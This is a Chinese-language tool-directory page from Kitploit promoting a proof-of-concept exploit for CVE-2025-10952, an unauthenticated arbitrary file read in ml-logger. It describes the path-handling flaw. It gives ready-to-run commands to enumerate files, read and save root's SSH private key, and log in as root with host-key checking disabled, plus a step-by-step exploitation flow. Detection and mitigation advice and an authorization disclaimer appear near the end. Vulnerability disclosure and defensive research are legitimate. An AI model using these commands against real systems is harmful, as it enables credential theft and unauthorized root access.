Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-10952-ml-logger-AFR — # CVE-2025-10952 的 PoC — ml-logger 未授权任意文件读取。CVSS 5.3 | Kitploit
工具/GitHubGitHub/khashayarnzk/cve-2025-10952-ml-logger-afr
漏洞分析漏洞利用Web应用程序漏洞利用信息收集渗透测试
GitHubkhashayarnzk/cve-2025-10952-ml-logger-afr

CVE-2025-10952-ml-logger-AFR

# CVE-2025-10952 的 PoC — ml-logger 未授权任意文件读取。CVSS 5.3

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
720天前尚未审核
分享

CVE-2025-10952 — ml-logger stream_handler 任意文件读取

本仓库提供了一个独立的 Python 脚本 — CVE-2025-10952.py — 用于利用 ml-logger 的 stream_handler 中存在的未认证任意文件读取漏洞,并与 /glob 端点链式配合进行文件系统枚举。

当针对存在漏洞的 ml-logger 实例运行时,它将:

  • 通过 /glob 端点枚举目标主机上的文件(未认证,且超出预期范围外无路径限制)。
  • 通过 /stream 端点读取任意文件,方法是提供一个精心构造的 key 参数,突破处理程序的基础路径拼接逻辑。
  • 可选地将检索到的文件保存到磁盘以供后续使用(例如被窃取的 SSH 私钥)。

由于 stream_handler 将客户端提供的 key 字段直接传入文件路径解析和流式传输调用,且没有任何包含性检查,因此未认证的网络攻击者可以读取该服务的操作系统用户可访问的任何文件。

漏洞详情(CVE-2025-10952)

  • 组件:ml_logger/server.py — stream_handler(文件处理程序)
  • 弱点:CWE-200(向未授权行为者暴露敏感信息)、CWE-284(访问控制不当)
  • CVSS 3.1:5.3(中危)— AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
  • 受影响版本:geyang/ml-logger,截至提交 acf255bade5be6ad88d90735c8367b28cbe3a743 的所有版本(滚动发布项目;披露时尚未发布修复版本)
  • 所需访问权限:无(未认证)

stream_handler 接受包含 key 字段的 JSON 请求体,并将其直接传入文件读取调用,且没有任何路径清理。相邻的 glob_handler 端点实现了部分路径限制(阻止绝对路径和目录遍历),但 stream_handler 并未共享该验证 — key 中的双前导斜杠(例如 //root/.ssh/id_rsa)足以突破预期的基目录。

前提条件

  • Python 3.8+
  • 可访问存在漏洞的 ml-logger API 实例的网络
  • 无需任何形式的凭据

安装与设置

root@kitploit:~
git clone https://github.com/Khashayarnzk/CVE-2025-10952-ml-logger-AFR.git
cd CVE-2025-10952-ml-logger-AFR
pip install -r requirements.txt

使用方法

枚举文件:

root@kitploit:~
python3 CVE-2025-10952.py --target TARGET --port 8081 --glob "/etc/*"

读取任意文件:

root@kitploit:~
python3 CVE-2025-10952.py --target TARGET --port 8081 --read "//root/.ssh/id_rsa"

读取并保存到磁盘:

root@kitploit:~
python3 CVE-2025-10952.py --target TARGET --port 8081 --read "//root/.ssh/id_rsa" --out id_rsa_root
chmod 600 id_rsa_root
ssh -i id_rsa_root -o StrictHostKeyChecking=no root@TARGET

--port 默认为 8081,即标准部署中 ml-logger 文件代理 API 的默认端口。仪表板前端通常运行在单独的端口上,不属于漏洞路径的一部分。

利用流程

  1. 确认目标的 /glob 端点返回 405 Method Not Allowed 且带有 Allow: POST — 这可用于区分 API 端口与静态仪表板前端。
  2. 使用 --glob 枚举可访问的路径,以定位感兴趣的文件(SSH 密钥、配置文件、凭据存储)。
  3. 使用 --read 检索目标文件,对于绝对路径使用双前导斜杠。
  4. 如果该文件是私钥,可直接用于身份验证(参见上方使用方法)。

检测与缓解

  • 网络:针对发送至 ml-logger 服务端口的 key/path 风格 JSON 字段,对包含 ..、双前导斜杠(//)或绝对路径前缀(/etc、/root、/proc)的内容发出告警。
  • 主机:对 ~/.ssh/、/etc/shadow、/etc/passwd 的文件完整性或访问监控应标记源自 ml-logger 进程身份的读取行为。
  • 暴露面:切勿在未在前方部署带认证的反向代理的情况下,将 ml-logger 暴露给不受信任的网络。
  • 修复:在 stream_handler 中强制实施路径包含性检查(将 os.path.realpath() 解析结果与允许列表中的基目录进行比对);在专用的非特权操作系统账户下运行该服务。

参考

  • NVD:https://nvd.nist.gov/vuln/detail/CVE-2025-10952
  • GitHub 安全公告:https://github.com/advisories/GHSA-9x36-c74v-fgr6
  • 原始报告:https://github.com/geyang/ml-logger/issues/74
  • 项目:https://github.com/geyang/ml-logger

⚠️ 免责声明

本仓库包含针对 CVE-2025-10952 的概念验证利用代码,该漏洞是 ml-logger 中一个未认证的信息泄露漏洞。请仅在您拥有或已获得明确授权测试的环境中使用此代码。作者不对因使用本软件而造成的任何滥用或损害负责。

许可证

参见 LICENSE。

下载工具